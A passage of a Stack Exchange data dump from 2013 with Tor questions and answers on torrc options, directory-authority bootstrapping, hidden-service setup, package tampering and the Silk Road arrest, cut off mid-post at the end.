  <row Id="280" PostTypeId="2" ParentId="198" CreationDate="2013-10-02T15:57:44.993" Score="1" Body="&lt;p&gt;Even though Peter's answer mentioned stream isolation, I believe, you shouldn't do this. Those other client machines might be compromised and may try to attack your Tor client. I am not saying your colleagues do this on purpose, rather it's likely that one of their machines is compromised without them knowing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connecting things were is no strong advantage from such connections isn't wise from a security perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if they are using your system as a Tor proxy, I doubt they are aware browser fingerprinting and tracking related threats and using Tor Browser re-configured to use your machine. It would make much more sense if they all used their own Tor Browser Bundle (or similar Tor focused project such as Tails etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not to forget the firewall aspect. When they can access your Tor instance, you necessarily have a listening port open and need a firewall to protect you from connection from the internet. The company firewall (simple NAT router will do) might do this, but what if it's a notebook and you use it for a journey using a foreign WiFi, with no firewall to protect you? Then either the whole internet or (depending on configuration) machines in that LAN can attack you. Also other things such as IPv6 tunnels may weaken firewalling. When providing services for others, you need quite some knowledge to safely do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also another subtle aspect when using multiple Tor clients versus a single Tor client. The amount of entry guards chosen by Tor. An ISP level adversary may be able to guess the number of individual Tor clients from that connection, due to different sets of entry guards. If that is of concern to you, a single Tor client might be better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Companies can benefit from Tor, but it needs someone knowing the basics of Tor and proper briefing.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-10-02T15:57:44.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="281" PostTypeId="2" ParentId="217" CreationDate="2013-10-02T16:42:08.990" Score="8" Body="&lt;p&gt;Tor normally tends to prefer fast relays anyways, so I wouldn't worry about that. The following settings from the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html&quot; rel=&quot;noreferrer&quot;&gt;Tor Manual&lt;/a&gt; can speed things up a bit when tweaked:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;ExcludeSingleHopRelays 0|1&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This option controls whether circuits built by Tor will include relays&#xA;  with the AllowSingleHopExits flag set to true. If&#xA;  ExcludeSingleHopRelays is set to 0, these relays will be included.&#xA;  Note that these relays might be at higher risk of being seized or&#xA;  observed, so they are not normally included. Also note that relatively&#xA;  few clients turn off this option, so using these relays might make&#xA;  your client stand out. (Default: 1)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This will esentially allow you to use Tor like a normal 1-hop proxy, however, you will essentially lose all anonymity. To actually construct single hop circuits, you'll need to modify the source and rebuild. Check &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/22ccfc6b5f25f75795e5f9d554b18e717962de3e:/src/or/or.h#l4338&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;src/or/or.h&lt;/code&gt;&lt;/a&gt; and change the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define DEFAULT_ROUTE_LEN 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define DEFAULT_ROUTE_LEN 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a terrible idea. Don't do it (though it sounds like this isn't what you were looking for anyways based on the comments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also tweak the following settings and may be able to get some speed boost:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;NewCircuitPeriod NUM&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Every NUM seconds consider whether to build a new circuit. (Default:&#xA;  30 seconds)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;EnforceDistinctSubnets 0|1&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If 1, Tor will not put two servers whose IP addresses are &quot;too close&quot;&#xA;  on the same circuit. Currently, two addresses are &quot;too close&quot; if they&#xA;  lie in the same /16 range. (Default: 1)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;AllowDotExit 0|1&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If enabled, we convert &quot;www.google.com.foo.exit&quot; addresses on the&#xA;  SocksPort/TransPort/NATDPort into &quot;www.google.com&quot; addresses that exit&#xA;  from the node &quot;foo&quot;. Disabled by default since attacking websites and&#xA;  exit relays can use it to manipulate your path selection. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AllowDotExits&lt;/strong&gt; doesn't do anything by itself (except make you more vulnerable to lots of attacks), but it will allow you to select a fast exit and use it for sites that would suck down bandwidth and be rather slow.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;OptimisticData 0|1|auto&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When this option is set, and Tor is using an exit node that supports&#xA;  the feature, it will try optimistically to send data to the exit node&#xA;  without waiting for the exit node to report whether the connection&#xA;  succeeded. This can save a round-trip time for protocols like HTTP&#xA;  where the client talks first. If OptimisticData is set to auto, Tor&#xA;  will look at the UseOptimisticData parameter in the networkstatus.&#xA;  (Default: auto)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And many more. Note that messing with these settings is not recommended.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-03-06T00:55:12.123" LastActivityDate="2014-03-06T00:55:12.123" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="282" PostTypeId="1" AcceptedAnswerId="283" CreationDate="2013-10-02T16:46:58.030" Score="2" ViewCount="1560" Body="&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/218/how-to-use-tor-behind-a-http-only-proxy&quot;&gt;It's not possible to use Tor behind a http-only proxy (not supporting the &amp;quot;connect&amp;quot; method.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor's manual says:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;HTTPProxy host[:port]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tor will make all its directory requests through this host:port (or host:80 if port is not specified), rather than connecting directly to any directory servers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;HTTPSProxy host[:port]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tor will make all its OR (SSL) connections through this host:port (or host:443 if port is not specified), via HTTP CONNECT rather than connecting directly to servers. You may want to set FascistFirewall to restrict the set of ports you might try to connect to, if your HTTPS proxy only allows connecting to certain ports.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;When one is only using HTTPSProxy, will also directory requests get routed through that proxy?&lt;/p&gt;&#xA;&lt;p&gt;When one's goal is to route all of Tor's traffic through that proxy is it required to use HTTPProxy and HTTPSProxy or is using HTTPSProxy alone sufficient?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-10-05T17:08:47.427" Title="When only using HTTPSProxy in torrc, will also directory requests get routed through that proxy?" Tags="|configuration|pre-tor-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="283" PostTypeId="2" ParentId="282" CreationDate="2013-10-02T19:16:11.947" Score="4" Body="&lt;p&gt;Nowadays, normal clients always tunnel their directory requests over one-hop Tor connection by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;TunnelDirConns&lt;/a&gt; configuration option specifies that behavior and it has defaulted to tunneling since about 2008 (&lt;a href=&quot;https://gitweb.torproject.org/tor.git/commitdiff/0df15642980fd050ff7e77a311b03c6b5e4ef8dc&quot; rel=&quot;nofollow&quot;&gt;svn revision 13935&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accordingly, if you are just a client and not a relay or bridge relay, setting HTTPSProxy should be all that's needed.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-02T19:16:11.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="284" PostTypeId="2" ParentId="100" CreationDate="2013-10-02T20:54:45.590" Score="6" Body="&lt;p&gt;You can use any application that supports the &lt;a href=&quot;https://en.wikipedia.org/wiki/SOCKS&quot;&gt;SOCKS&lt;/a&gt; 4 or 5 protocol directly with Tor. Or you can use a &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/SupportPrograms&quot;&gt;wrapper utility&lt;/a&gt; on those who do not. You can find some configuration tips over at the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot;&gt;official&lt;/a&gt; and &lt;a href=&quot;https://wiki.archlinux.org/index.php/tor&quot;&gt;Arch&lt;/a&gt; wikis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned in the other answers already, you can use the &lt;a href=&quot;https://tails.boum.org/&quot;&gt;Tails Live Distribution&lt;/a&gt; to ease the setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you should be aware that some protocols are not designed for being anonymized and you are only talking to the server anonymously. While you can filter most of the personal data out of a HTTP Session (kill cookies, non-needed headers etc using a proxy, e.g.) almost automatically, you cannot do this with (e.g.) mail. Mail usually needs at least a return address so people can reply to you. This could be &quot;fixed&quot; with some kind of &lt;a href=&quot;https://en.wikipedia.org/wiki/Anonymous_remailer&quot;&gt;anonymous remailers&lt;/a&gt;, though.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-10-02T20:54:45.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="285" PostTypeId="2" ParentId="111" CreationDate="2013-10-02T21:54:41.853" Score="3" Body="&lt;p&gt;As you asked for every possible way of tampering, the list is going to be kinda long, but let's start anyway.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The package maintainer adds strange patches...&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;...or uses a weird build system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say this kind of tampering happens all the time a package is being built (or prepared in case of a source distribution!) for you by a third party. However this is usually not harmful tampering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Debian (sorry, I am kind of biased here), you can observe what happens to a certain package in various ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the patches are listed on the &lt;a href=&quot;http://patch-tracker.debian.org/package/tor&quot; rel=&quot;nofollow&quot;&gt;patch-tracker&lt;/a&gt;, if they can be easily extracted&lt;/li&gt;&#xA;&lt;li&gt;the &lt;a href=&quot;https://buildd.debian.org/status/package.php?p=tor&amp;amp;suite=sid&quot; rel=&quot;nofollow&quot;&gt;build-logs&lt;/a&gt; are archived for later inspection&lt;/li&gt;&#xA;&lt;li&gt;there is a general overview of the happenings in the package at the &lt;a href=&quot;http://packages.qa.debian.org/t/tor.html&quot; rel=&quot;nofollow&quot;&gt;package tracking system&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;you can view the source used for the build via &lt;a href=&quot;https://gitweb.torproject.org/debian/tor.git&quot; rel=&quot;nofollow&quot;&gt;git&lt;/a&gt; or by calling &lt;code&gt;apt-get source tor&lt;/code&gt; on your machine (comparing it to the pristine upstream source is up to you then)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These measures however do not prevent an evil build-machine from injecting malicious code into the binary without logging it. Or the maintainer injecting something bad into the binary he uploads together with a pristine source (maintainer uploaded binaries are not rebuilt in Debian [at least at the moment]).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The evil hacker changing the binary on it's way from the repository to your machine&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is something that should not happen in today's distributions, as the whole chain from the maintainers machine to yours is guarded by signatures (and the maintainer of course checked the signature of the tarball he/she got on the internet ;)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ example is again heavily Debian biased, sorry ]&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Maintainer uploads of sources and binaries are &lt;a href=&quot;http://www.debian.org/doc/manuals/maint-guide/build.en.html&quot; rel=&quot;nofollow&quot;&gt;signed using PGP&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Uploads from the build machines are &lt;a href=&quot;http://www.debian.org/devel/buildd/wanna-build-states&quot; rel=&quot;nofollow&quot;&gt;singed using PGP&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The repository and it's contents are &lt;a href=&quot;https://wiki.debian.org/SecureApt&quot; rel=&quot;nofollow&quot;&gt;signed&lt;/a&gt; &lt;a href=&quot;http://www.debian.org/doc/manuals/securing-debian-howto/ch7#s-deb-pack-sign&quot; rel=&quot;nofollow&quot;&gt;using&lt;/a&gt; &lt;a href=&quot;http://ftp-master.debian.org/keys.html&quot; rel=&quot;nofollow&quot;&gt;PGP&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[ on a side note: break PGP and the whole world is fucked :) ]&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The evil twin/government who pokes around your disk&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is probably the most effective and targeted way in my list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with encrypting your disk (the &lt;em&gt;whole&lt;/em&gt; disk, yes, that includes &lt;code&gt;/boot&lt;/code&gt; or they will poke your kernel/initrd). An encrypted disk does not only save your kinky pictures, it also prevents strangers from writing to it. Using a read-only medium for the super-secure stuff is an alternative (did I mention &lt;a href=&quot;https://tails.boum.org&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; already?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you think your system is secure, check it on a regular basis. &lt;a href=&quot;http://packages.debian.org/debsums&quot; rel=&quot;nofollow&quot;&gt;debsums&lt;/a&gt; and &lt;a href=&quot;http://aide.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;aide&lt;/a&gt; could help you here. So would a backup suite like &lt;a href=&quot;http://www.bacula.org/en/dev-manual/main/main/Using_Bacula_Improve_Comput.html&quot; rel=&quot;nofollow&quot;&gt;bacula&lt;/a&gt; which can verify disk contents (that should never change).&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-10-02T21:54:41.853" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="286" PostTypeId="1" CreationDate="2013-10-02T23:11:16.093" Score="3" ViewCount="408" Body="&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;noreferrer&quot;&gt;Tor manual&lt;/a&gt; says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;TunnelDirConns 0|1&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If non-zero, when a directory server we contact supports it, we will build a one-hop circuit and make an encrypted connection via its ORPort. (Default: 1)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Why only one hop? Why not a regular three hop circuit?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-10-03T13:23:35.137" Title="Why does Tor use only one hop instead of three hops to connect to a directory server?" Tags="|bootstrapping|directory|tunneldirconns|one-hop|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="287" PostTypeId="1" AcceptedAnswerId="296" CreationDate="2013-10-02T23:16:06.413" Score="8" ViewCount="2662" Body="&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;noreferrer&quot;&gt;Tor manual&lt;/a&gt; says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;TunnelDirConns 0|1&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If non-zero, when a directory server we contact supports it, we will build a one-hop circuit and make an encrypted connection via its ORPort. (Default: 1)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Tor connects to a directory server to get a list of Tor relays in the first place. When Tor is started for the first time, how does Tor know which relay could be used to connect to a directory server?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-10-03T06:25:55.943" Title="How can Tor use a one hop circuit to a directory server during initial bootstrap?" Tags="|bootstrapping|directory|tunneldirconns|one-hop|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="288" PostTypeId="2" ParentId="286" CreationDate="2013-10-02T23:33:54.523" Score="2" Body="&lt;p&gt;No reason to be secret that you're getting the directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing this tells people looking at you is that you just turned on Tor. But they already knew that because... You just turned on Tor&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="117" LastEditDate="2013-10-03T13:23:35.137" LastActivityDate="2013-10-03T13:23:35.137" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="289" PostTypeId="2" ParentId="97" CreationDate="2013-10-02T23:37:22.173" Score="6" Body="&lt;p&gt;I generally agree with the pros and cons of VMs presented by others here, &lt;strong&gt;provided you control the physical host as well&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not (for example you're running a VM on a public cloud provider) the operator can see all the memory in your VM which is pretty much game over for anonymity. You need to be the judge of how likely this is and what is at risk if your anonymity is compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for reasons others have stated running &lt;a href=&quot;https://tails.boum.org/&quot;&gt;Tails&lt;/a&gt; in a VM on your laptop is probably a good idea, running a hidden service on EC2 is probably not.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-10-02T23:37:22.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="290" PostTypeId="1" AcceptedAnswerId="293" CreationDate="2013-10-03T00:14:48.167" Score="9" ViewCount="886" Body="&lt;p&gt;Running a hidden service in a secure way can be a really complicated matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally the system where the hidden service software (e.g. a web server) lives should not have a publicly routable IP address on any of its network interfaces and should not be able to learn its real public IP address. That leaves out the solution of NAT since a system behind NAT although has not a publicly routable address can easily find its real address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution would be an isolated system with all its connections routed through Tor. For example another box running Tor could server as middle-box/router for the isolated hidden service host. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a user followed the traditional way to set up a hidden service in the isolated box then she would end up running Tor in both machines, routing one tor instance though another thus having terrible effects on latency and bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is : could the user run the hidden service's software for example an &lt;a href=&quot;http://httpd.apache.org/&quot; rel=&quot;noreferrer&quot;&gt;Apache Web Server&lt;/a&gt; instance in a box different than the one running the Tor instance ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there any other feasible solution that could fit the scheme described above?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="159" LastEditDate="2013-10-03T19:22:54.800" LastActivityDate="2013-10-03T19:22:54.800" Title="Could I run the hidden service software(e.g webserver) in a different system than the one Tor is running?" Tags="|onion-services|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="291" PostTypeId="2" ParentId="268" CreationDate="2013-10-03T00:27:42.427" Score="7" Body="&lt;p&gt;There's only about 70 relays with an IPv6 address. So you should probably connect over IPv6 about one time out of sixty. But that's only if you don't use entry guards (you do use entry guards by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is currently no client configuration option for not using IPv4. Also, if there was one, using that would sadly fail at the moment (see  &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6027&quot;&gt;https://trac.torproject.org/projects/tor/ticket/6027&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="142" LastEditorUserId="142" LastEditDate="2013-10-03T01:02:20.110" LastActivityDate="2013-10-03T01:02:20.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="293" PostTypeId="2" ParentId="290" CreationDate="2013-10-03T00:41:56.870" Score="4" Body="&lt;p&gt;Sure, just configure your hidden service with the external IP, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServicePort 80 192.168.1.10:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;192.168.1.10&lt;/code&gt; is the server running your hidden service (on port 8080 in this example which will be exposed via the hidden service on port 80).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for some reason you didn't want to do that, you could always port forward to the external host's port to your local port via &lt;code&gt;nc&lt;/code&gt;, &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;iptables&lt;/code&gt;, or any other software people use to forward ports.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2013-10-03T00:41:56.870" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="295" PostTypeId="2" ParentId="287" CreationDate="2013-10-03T01:47:59.007" Score="1" Body="&lt;p&gt;If I remember correctly, the Tor software ships with a list of directory authorities. The client has just enough information to bootstrap and then continue to download information about all the other relays in the network.&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2013-10-03T01:47:59.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="296" PostTypeId="2" ParentId="287" CreationDate="2013-10-03T06:17:58.260" Score="6" Body="&lt;p&gt;Tor ships with a list of directory authorities and &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.17-rc:/src/or/config.c#l788&quot;&gt;some information about them&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, this information includes for each authority its IP address, onion port and onion key fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it possible for clients to make an onion connection to one or more authorities for bootstrapping purposes.  It then connects to the authority's DirPort via the onion connection to that authority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This so-called tunneled connection doesn't provide anonymity.  It only provides confidentiality, i.e. nobody listening on your network can know exactly what you fetched[1].  It also would provide integrity, but the information downloaded is signed anyway.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;[1] Though it's probably not too hard to guess that you're bootstrapping once you know it goes to a Tor node and there's a lot of downloading happening.  Still, you can't just filter for &quot;GET /tor/&quot; to block the connection.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-03T06:25:55.943" LastActivityDate="2013-10-03T06:25:55.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="297" PostTypeId="2" ParentId="196" CreationDate="2013-10-03T09:38:03.273" Score="9" Body="&lt;p&gt;Let's start with a minor correction: there are only 9 directory authorities.  You probably counted Tonga, but that's the bridge authority which is pretty much unrelated to the other 9 directory authorities.  (Discussing what would happen if somebody took down the bridge authority would be, well, a separate discussion.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's distinguish three cases:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Somebody takes down a minority of directory authorities, so up to 4.  The effect is that the remaining 5 or more can still produce a valid consensus, so the network wouldn't be affected much.  The exception is if the attacker takes down the subset of directory authorities that are voting on specific flags, like the &lt;code&gt;Named&lt;/code&gt; or &lt;code&gt;BadExit&lt;/code&gt; flags.  In that case, there would be no relays with those flags in the consensus, which would somewhat affect the network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The attacker kills a majority of directory authorities, so 5 or more, but not all of them.  The remaining directory authorities wouldn't be able to generate a fresh consensus anymore.  A consensus is valid for 3 hours, and then clients still accept it for (I think) another 21 hours.  If there's no new consensus after that, clients will be sad.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The bad guy manages to shut down all 9 directory authorities.  This has the additional negative effect of new clients not being able to download their initial consensus during the bootstrap process, so they would be sad immediately.  We may have a new design in place that ships a list of fallback directory mirrors with the sources which would soften the blow here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So much about the bad news.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the good news: we have a service that runs once per hour and informs directory authority operators as soon as a directory authority doesn't vote.  The output of that service is publicly archived for everybody to watch: &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-consensus-health&quot;&gt;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-consensus-health&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ah, and a quick note on what would happen if somebody attacked Tonga, the bridge authority.  In that case, the bridge distribution service BridgeDB wouldn't learn about new bridges, and it might give out bridges that are not running anymore.  Not the end of the world.  We have an internal notification system for Tonga failing or not reporting fresh bridges, too.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2013-10-03T09:38:03.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="298" PostTypeId="1" AcceptedAnswerId="300" CreationDate="2013-10-03T09:49:32.480" Score="16" ViewCount="1742" Body="&lt;p&gt;On October 2, 2013 Ross William Ulbricht was identified by FBI as the &lt;a href=&quot;http://en.wikipedia.org/wiki/Silk_Road_%28marketplace%29&quot;&gt;Silk Road&lt;/a&gt; black market website owner and was arrested. Silk Road was operated as a hidden service on the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: USA Today: &lt;a href=&quot;http://www.usatoday.com/story/news/nation/2013/10/02/fbi-shuts-down-silk-road-website/2909023/&quot;&gt;Feds seize 'Silk Road' drug site, arrest operator&lt;/a&gt;, Time: &lt;a href=&quot;http://nation.time.com/2013/10/02/alleged-silk-road-proprietor-ross-william-ulbricht-arrested-3-6m-in-bitcoin-seized/&quot;&gt;Feds Raid Online Drug Market Silk Road&lt;/a&gt;, BBC News: &lt;a href=&quot;http://www.bbc.co.uk/news/technology-24373759&quot;&gt;FBI arrests Silk Road drugs site suspect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it known if deanonymization of the Tor communication played role in this operation? If yes, is it known which techniques of attacking Tor anonymity were used?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="114" LastEditDate="2013-10-03T11:54:29.657" LastActivityDate="2016-08-18T02:07:07.640" Title="Is it known if Tor communication deanonymization played role in Ross Ulbricht arrestment and Silk Road store takedown?" Tags="|onion-services|deanonymization|abuse|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="299" PostTypeId="2" ParentId="298" CreationDate="2013-10-03T09:56:57.313" Score="10" Body="&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/tor-and-silk-road-takedown&quot; rel=&quot;noreferrer&quot;&gt;Tor's announcement over the matter&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So far, nothing about this case makes us think that there are new ways to compromise Tor (the software or the network). The FBI says that their suspect made mistakes in operational security, and was found through actual detective work. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So in answer to your question, &lt;strong&gt;no&lt;/strong&gt;, deanonymization did not play a role.&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="115" LastEditDate="2013-10-05T16:40:44.267" LastActivityDate="2013-10-05T16:40:44.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="300" PostTypeId="2" ParentId="298" CreationDate="2013-10-03T10:42:04.027" Score="15" Body="&lt;p&gt;From the &lt;a href=&quot;http://krebsonsecurity.com/wp-content/uploads/2013/10/UlbrichtCriminalComplaint.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;criminal complaint&lt;/a&gt;, it is fairly clear that this isn't an issue with de-anonymizing Tor. If you look under &lt;strong&gt;Volume of Business Activity Reflected on Silk Road Servers&lt;/strong&gt;, on page 14 it states that on or about July 23, 2013 an image of the SR web server was made and provided to the FBI (presumably by the hosting company.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't mention how they located the servers or hosting company but they had so many other avenues to find them that it seems hacking Tor would be one of the harder routes. For instance, the Dread Pirate Roberts has several accounts on bitcoin forums, and even a Stack Overflow account where he used his real name then changed it to &lt;a href=&quot;https://stackoverflow.com/users/1249338/frosty&quot;&gt;frosty&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He also had a small administration staff that he transferred money to. He engaged in other illegal activity and from time to time was in contact with other SR members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 videos that go over this and other Tor related arrests, the first covers this case, &lt;a 